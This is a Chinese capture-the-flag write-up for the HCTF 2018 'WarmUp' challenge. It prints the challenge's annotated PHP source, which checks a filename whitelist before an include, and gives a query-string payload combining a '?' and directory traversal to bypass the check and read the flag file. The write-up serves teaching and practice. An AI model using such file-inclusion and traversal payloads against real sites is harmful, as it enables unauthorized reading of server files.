[HCTF 2018]WarmUp

  1. 题目:一上来给了个图片还是很懵的,于是尝试查看一下源代码:发现有提示:
  2. 于是访问source.php得到了php代码:(这里将代码和代码分析放一块)
php 复制代码
<?php
  highlight_file(__FILE__);
class emmm
  {
    public static function checkFile(&$page)
    {
      $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
      //定义白名单数组,有两个值
      if (! isset($page) || !is_string($page)) {
        echo "you can't see it";
        return false;
      }
      //这段代码的意思是检查page变量是否没有被设置,并且检查是否不是字符串,满足一个就返回FALSE

      if (in_array($page, $whitelist)) {
        return true;
      }
      //如果page变量在白名单数组内,返回TRUE
      //如果不在,继续执行下面代码
      $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
      );
      //将page变量重新赋值为第一个?前的内容,再次检查是否在白名单里面
      if (in_array($_page, $whitelist)) {
        return true;
      }
      //如果不含问号:
      $_page = urldecode($page);//对其进行编码
      $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
      );
      //在结尾添加?重复上述操作
      if (in_array($_page, $whitelist)) {
        return true;
      }
      echo "you can't see it";
      return false;
    }
  }
//这里才是核心逻辑,请求一个file参数
if (! empty($_REQUEST['file'])//判断是否非空
    && is_string($_REQUEST['file'])//是否为字符串
    && emmm::checkFile($_REQUEST['file'])//通过两个::可以访问类的方法和属性,这里访问的是方法
   ) {
  include $_REQUEST['file'];//文件包含
  exit;
} else {
  echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}  
?> 
  1. 构造payload:?file=hint.php得到提示:但是不是直接访问:说明我们传的参数不在白名单,于是在前面加个hint或者source.php都可以,?file=hint.php?/.../.../.../.../ffffllllaaaagggg,由于不知道在哪个文件夹下,可能是多层,经过尝试发现/.../.../.../.../刚好可以得到结果
相关推荐
2501_945318494 分钟前
产品经理系统学习AI的必要性与核心内容
人工智能·学习·产品经理
2501_9011478335 分钟前
DDP(分布式训练)核心知识点学习笔记
笔记·分布式·学习·面试
Asher阿舍技术站1 小时前
【AI基础学习系列】五、AIGC从创意到创造
人工智能·学习·aigc·进阶
盐焗西兰花1 小时前
鸿蒙学习实战之路-STG系列(3/11)-用户授权管理详解
服务器·学习·harmonyos
玩具猴_wjh2 小时前
多维度筛选 + 分页优化
笔记·学习
专业开发者2 小时前
Wi-Fi 技术学习:802.11ax BSS 着色原理与性能优化解析
网络·学习
im_AMBER2 小时前
Leetcode 123 二叉树的层平均值 | 二叉树的右视图 | 二叉树的层序遍历
数据结构·学习·算法·leetcode·二叉树
乾元2 小时前
模型提取:黑盒环境下如何窃取对手的 AI 模型参数
网络·人工智能·安全·web安全·机器学习·架构·系统架构
冰西瓜6002 小时前
深度学习的数学原理(九)—— 神经网络为什么能学习特征?
深度学习·神经网络·学习
远离UE42 小时前
快速傅里叶变换学习笔记(FFT)
笔记·学习